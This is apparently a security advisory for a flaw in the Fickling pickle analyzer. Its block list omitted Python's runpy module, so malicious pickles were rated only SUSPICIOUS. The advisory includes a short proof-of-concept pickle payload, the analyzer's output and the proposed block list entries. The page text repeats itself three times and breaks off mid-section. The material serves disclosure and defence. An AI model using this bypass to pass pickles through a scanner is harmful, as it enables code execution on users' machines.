CVE-2026-22606

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

• File: fickling/analysis.py
• Class: UnsafeImports
• Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

• PR #187 added pty to the blocklist to fix CVE-2025-67748
• PR #108 documented the blocklist approach
• The same fix pattern should be applied for runpy

How the bypass works:

1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

| Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

• runpy
• runpy.run_path
• runpy.run_module
• runpy._run_code
• runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

• Python 3.13.2
• fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability…

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

• File: fickling/analysis.py
• Class: UnsafeImports
• Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

• PR #187 added pty to the blocklist to fix CVE-2025-67748
• PR #108 documented the blocklist approach
• The same fix pattern should be applied for runpy

How the bypass works:

1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

| Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

• runpy
• runpy.run_path
• runpy.run_module
• runpy._run_code
• runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

• Python 3.13.2
• fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability…

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

• File: fickling/analysis.py
• Class: UnsafeImports
• Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

• PR #187 added pty to the blocklist to fix CVE-2025-67748
• PR #108 documented the blocklist approach
• The same fix pattern should be applied for runpy

How the bypass works:

1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

| Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

• runpy
• runpy.run_path
• runpy.run_module
• runpy._run_code
• runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

• Python 3.13.2
• fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability…